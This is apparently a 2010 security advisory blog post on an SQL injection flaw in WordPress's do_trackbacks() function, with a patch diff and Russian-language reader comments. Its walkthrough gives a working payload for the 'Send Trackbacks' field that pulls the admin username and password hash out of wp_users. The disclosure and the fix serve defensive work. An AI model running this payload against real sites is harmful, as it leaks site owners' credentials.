Description: SQL injection vulnerability in do_trackbacks() function of WordPress allows remote attackers to execute arbitrary SELECT SQL query.
Access Vector: Network
Attack Complexity: Medium
Authentication: Single Instance
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
UPDATE Dec 1, 2010: This vulnerability was first discovered by M4g and is described in this article.
The do_trackbacks() function in wp-includes/comment.php does not properly escape the input that comes from the user, allowing a remote user with publish_posts and edit_published_posts capabilities to execute an arbitrary SELECT SQL query, which can lead to disclosure of any information stored in the WordPress database.
- function do_trackbacks($post_id) {
- global $wpdb;
- $post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) );
- $to_ping = get_to_ping($post_id);
- $pinged = get_pung($post_id);
- if ( empty($to_ping) ) {
- $wpdb->update($wpdb->posts, array('to_ping' => ''), array('ID' => $post_id) );
- return;
- }
- if ( empty($post->post_excerpt) )
- $excerpt = apply_filters('the_content', $post->post_content);
- else
- $excerpt = apply_filters('the_excerpt', $post->post_excerpt);
- $excerpt = str_replace(']]>', ']]>', $excerpt);
- $excerpt = wp_html_excerpt($excerpt, 252) . '...';
- $post_title = apply_filters('the_title', $post->post_title);
- $post_title = strip_tags($post_title);
- if ( $to_ping ) {
- foreach ( (array) $to_ping as $tb_ping ) {
- $tb_ping = trim($tb_ping);
- if ( !in_array($tb_ping, $pinged) ) {
- trackback($tb_ping, $post_title, $excerpt, $post_id);
- $pinged[] = $tb_ping;
- } else {
- $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = %d", $post_id) );
- }
- }
- }
- }
The $tb_ping variable is passed to the query in line 1657 unescaped.
Exploitation. The logged in user must have publish_posts and edit_published_posts capabilities (this corresponds to the Author role). Below is an example of how this vulnerability can be exploited (images below are clickable):
First, the user creates a new post (title/content does not matter); text to put into the “Send Trackbacks” field is
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'
and publishes it. He needs to wait a bit — for wp-cron.php to process the trackback. The get_to_ping() function says that this trackback is to be processed:
Then the user goes back and edits the post:
Now the user duplicates the text in the “Send Trackbacks” field and updates the post
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,' AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'
The get_to_ping() function says that these trackbacks are to be processed:
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'
Query logging shows that WordPress executes this query (reformatted for the sake of readbility):
SET to_ping = TRIM(REPLACE(to_ping, 'AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'', ''))
WHERE ID = 11
After that when the user refreshes the page (he may need to wait a bit for wp-cron.php to complete), he will see something like this:
Likewise, any information (login salt, nonce salt, email addresses etc) can be disclosed.
The screenshots above are for WordPress 3.0.1 but the vulnerability seems to exist since 2.x branch.
Patch: below is the patch against WordPress 3.1 rev. 16609 that fixes the vulnerability:
===================================================================
--- wp-includes/comment.php (revision 16609)
+++ wp-includes/comment.php (working copy)
@@ -1723,7 +1723,7 @@
trackback($tb_ping, $post_title, $excerpt, $post_id);
$pinged[] = $tb_ping;
} else {
- $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = %d", $post_id) );
+ $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, %s, '')) WHERE ID = %d", $tb_ping, $post_id) );
}
}
}
Меня зовут 


Я опубликовал эту уязвимость + уязвимость в пингбеках в журнале Хакер полтора года назад…
Пруф: http://www.xakep.ru/magazine/xa/124/052/1.asp
Интересно… Я им еще сдал “WordPress Comments Html Spam Vulnerability”, только использовал другой подход.
Вообще я не претендую на авторство уязвимости — нашел я её, в общем-то, абсолютно случайно — кто-то таким раком сайты клиента ломал… А искали мы 0-day в механизме аутентификации. Я просто отдал Райену патчи, устраняющие уязвимости.
Сейчас добавлю на Вас ссылку в статью. Ссылку ставить на snipper.ru?
эмм, получив каким-то образом права автора перед этим? думаете, что такой одей существует?
вижу, что все ок, спасибо
Если интересно, вот продолжение первой статьи, тоже полуторагодовалое:
http://www.xakep.ru/magazine/xa/125/066/1.asp
Не, с трэкбэками мелочь была… заметили левые запросы к базе данных при анализе логов производительности… А дальше раскопали запрос, нашли, где он выполняется. А парой строк ниже была фигня с LIKE.
По поводу 0-day… Какой-то товарищ из Саудовской Аравии сломал ~43 сайта на WordPress (пароли везде стояли разные, все нужные константы в wp-config.php были прописаны). В общем человек с первой попытки подбирал пароль, лез в редактор тем, заливал страницу с исламской тематикой.
Всё бы хорошо, но все 43 сайта имеют 43 разных владельца, попыток брутфорса паролей с других IP не было. Вряд ли он знал все 43 пароля. Поэтому и искали.
RE: Фокусы с курлом
А cURL вроде запрещает редирект на
file://?CURLOPT_REDIR_PROTOCOLS(или как там её) явно запрещает редирект наfile://иscp://. Попробовал в CentOS, Debian и Ubuntu (не WordPress, просто самописный скрипт на пять строчек) — нигде не сработало. Причём в CentOS стоит curl 7.15.5, в котором этой константы еще не было.Windows под рукой нет, на нём не проверял.
очень интересно… правда, как и всегда, все может оказаться гораздо прозаичнее, вроде плагинов или соседних сайтов..
прикрыли в том же 2009 году) пруф:
http://securitytracker.com/alerts/2009/Mar/1021783.html
Сисадмин клянётся, что это нереально
Аккаунты пользователей изолированы друг от друга (на каталогах стоят права 0700). Плагины такие, что к базе не лезут. Залезть к соседу можно через уязвимость в Апаче или одном из его модулей. SELinux вроде как выключен(?). Там, правда, еще CPanel есть (а iskorptix — судя по логам, были попытки заюзать его инструментарий — вроде как по слухам умеет CPanel ломать), но логов доступа к ней мне не дали. А по логам доступа к WP получалось, что взломщик с первого раза подбирал пароль. Кроме него в админку заходил только владелец (с постоянного IP). Логи велись с момента установки сайта, так что выглядит всё очень подозрительно.
Сайты восстановили, но местный админ забанил глобально IP-адреса Турции и Саудовской Аравии
А, тогда понятно…
А редхатовцы просто сделали бэкпорт в 7.15.5
Обновил пост.
Thank for you!!!
Leave a comment below if you dare
If by accident you see this form, please do not use it; use the form below this instead.